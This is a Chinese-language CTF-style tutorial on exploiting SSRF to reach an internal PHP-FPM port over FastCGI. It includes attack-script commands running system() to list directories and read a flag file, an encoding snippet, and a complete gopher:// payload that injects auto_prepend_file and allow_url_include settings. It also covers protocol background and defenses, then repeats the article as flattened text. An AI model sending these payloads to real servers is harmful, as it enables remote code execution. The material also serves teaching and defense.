利用SSRF攻击内网FastCGI协议
字数 1382 2025-08-15 21:33:46

SSRF攻击内网FastCGI协议深入分析与实践

1. FastCGI协议基础

1.1 FastCGI协议概述

FastCGI是一种通信协议,与HTTP协议不同:

  • HTTP协议:浏览器与服务器中间件(如Nginx、Apache)之间的数据交换协议
  • FastCGI协议:服务器中间件与语言后端(如PHP)之间的数据交换协议

FastCGI协议特点:

  • 有自己的特定格式
  • 包含header和body结构
  • 包含许多不可见字符,难以手动构造payload

1.2 PHP-FPM简介

PHP-FPM(FastCGI进程管理器)是FastCGI协议的一个具体实现,提供进程管理功能:

进程结构:

  • master进程:负责与Web服务器通信,接收HTTP请求并转发给worker进程
  • worker进程:负责动态执行PHP代码,处理完成后返回结果

工作流程示例:
用户访问http://127.0.0.1/index.php?a=1&b=2时:

  1. Nginx将请求转换为key-value对
  2. 按照FastCGI规则打包请求
  3. 发送给PHP-FPM处理

2. 攻击原理分析

2.1 基本攻击条件

  1. PHP-FPM默认监听9000端口,通常只接受本地请求
  2. 两种攻击场景:
    • 配置不当使端口暴露在公网
    • 通过SSRF利用服务器作为跳板攻击内网服务

2.2 关键攻击点:SCRIPT_FILENAME

  • 控制SCRIPT_FILENAME参数可指定执行的文件
  • 历史漏洞:可指定任意文件(如/etc/passwd)
  • 现代防护:security.limit_extensions限制只能执行.php文件

2.3 任意代码执行技术

利用PHP的两个配置项实现代码执行:

  1. auto_prepend_file:在执行PHP文件前自动包含指定文件
  2. auto_append_file:在执行PHP文件后自动包含指定文件

攻击方法:

  1. 设置auto_prepend_file = php://input
  2. 需要同时配置allow_url_include = On
  3. 将恶意代码放在请求body中

配置修改方式:

  • 通过FastCGI数据包中的环境变量:
    • PHP_VALUE:设置模式为PHP_INI_USER和PHP_INI_ALL的选项
    • PHP_ADMIN_VALUE:可设置所有选项

3. 攻击实践步骤

3.1 环境准备

  1. 使用netcat监听端口并记录流量:

    nc -lvvp [端口] > [文件名]
    
  2. 准备攻击脚本(示例Python脚本见附录)

3.2 攻击执行

  1. 运行攻击脚本:

    python Attack.py -c "<?php system('ls /');?>" -p 9000 目标IP /var/www/html/index.php
    
  2. 分析捕获的流量:

    hexdump -C 流量文件
    
  3. 对流量进行双重URL编码:

    from urllib.parse import quote
    file = open('1.txt','rb')
    payload = file.read()
    payload = quote(payload).replace("%0A","%0A%0D")
    print("gopher://127.0.0.1:9000/_"+quote(payload))
    
  4. 构造最终payload:

    gopher://127.0.0.1:9000/_%2501%2501T%259E%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504T%259E%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH23%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504T%259E%2500%2500%2500%2500%2501%2505T%259E%2500%2517%2500%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253B%253F%253E%2501%2505T%259E%2500%2500%2500%2500
    
  5. 通过SSRF发送payload获取命令执行结果

3.3 获取flag

修改攻击命令读取flag文件:

python Attack.py -c "<?php system('cat /flag_052c3b0c46ee677f6f63b629f7f314a1');?>" -p 9000 目标IP /var/www/html/index.php

4. 防御措施

  1. 限制PHP-FPM访问

    • 确保PHP-FPM只监听127.0.0.1
    • 使用防火墙限制9000端口的访问
  2. 安全配置

    • 保持security.limit_extensions为默认值(只允许.php)
    • 禁用危险PHP函数(system, exec等)
    • 关闭allow_url_include
  3. SSRF防护

    • 验证用户输入的URL
    • 禁止访问内网地址
    • 使用白名单限制可访问的协议和域名

附录:FastCGI攻击Python脚本

import socket
import random
import argparse
import sys
from io import BytesIO

# ... [完整脚本内容见原文] ...

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    
    response = client.request(params, content)
SSRF攻击内网FastCGI协议深入分析与实践 1. FastCGI协议基础 1.1 FastCGI协议概述 FastCGI是一种通信协议,与HTTP协议不同: HTTP协议:浏览器与服务器中间件(如Nginx、Apache)之间的数据交换协议 FastCGI协议:服务器中间件与语言后端(如PHP)之间的数据交换协议 FastCGI协议特点: 有自己的特定格式 包含header和body结构 包含许多不可见字符,难以手动构造payload 1.2 PHP-FPM简介 PHP-FPM(FastCGI进程管理器)是FastCGI协议的一个具体实现,提供进程管理功能: 进程结构: master进程 :负责与Web服务器通信,接收HTTP请求并转发给worker进程 worker进程 :负责动态执行PHP代码,处理完成后返回结果 工作流程示例: 用户访问 http://127.0.0.1/index.php?a=1&b=2 时: Nginx将请求转换为key-value对 按照FastCGI规则打包请求 发送给PHP-FPM处理 2. 攻击原理分析 2.1 基本攻击条件 PHP-FPM默认监听9000端口,通常只接受本地请求 两种攻击场景: 配置不当使端口暴露在公网 通过SSRF利用服务器作为跳板攻击内网服务 2.2 关键攻击点:SCRIPT_ FILENAME 控制 SCRIPT_FILENAME 参数可指定执行的文件 历史漏洞:可指定任意文件(如 /etc/passwd ) 现代防护: security.limit_extensions 限制只能执行 .php 文件 2.3 任意代码执行技术 利用PHP的两个配置项实现代码执行: auto_ prepend_ file :在执行PHP文件前自动包含指定文件 auto_ append_ file :在执行PHP文件后自动包含指定文件 攻击方法: 设置 auto_prepend_file = php://input 需要同时配置 allow_url_include = On 将恶意代码放在请求body中 配置修改方式: 通过FastCGI数据包中的环境变量: PHP_VALUE :设置模式为PHP_ INI_ USER和PHP_ INI_ ALL的选项 PHP_ADMIN_VALUE :可设置所有选项 3. 攻击实践步骤 3.1 环境准备 使用netcat监听端口并记录流量: 准备攻击脚本(示例Python脚本见附录) 3.2 攻击执行 运行攻击脚本: 分析捕获的流量: 对流量进行双重URL编码: 构造最终payload: 通过SSRF发送payload获取命令执行结果 3.3 获取flag 修改攻击命令读取flag文件: 4. 防御措施 限制PHP-FPM访问 : 确保PHP-FPM只监听127.0.0.1 使用防火墙限制9000端口的访问 安全配置 : 保持 security.limit_extensions 为默认值(只允许.php) 禁用危险PHP函数( system , exec 等) 关闭 allow_url_include SSRF防护 : 验证用户输入的URL 禁止访问内网地址 使用白名单限制可访问的协议和域名 附录:FastCGI攻击Python脚本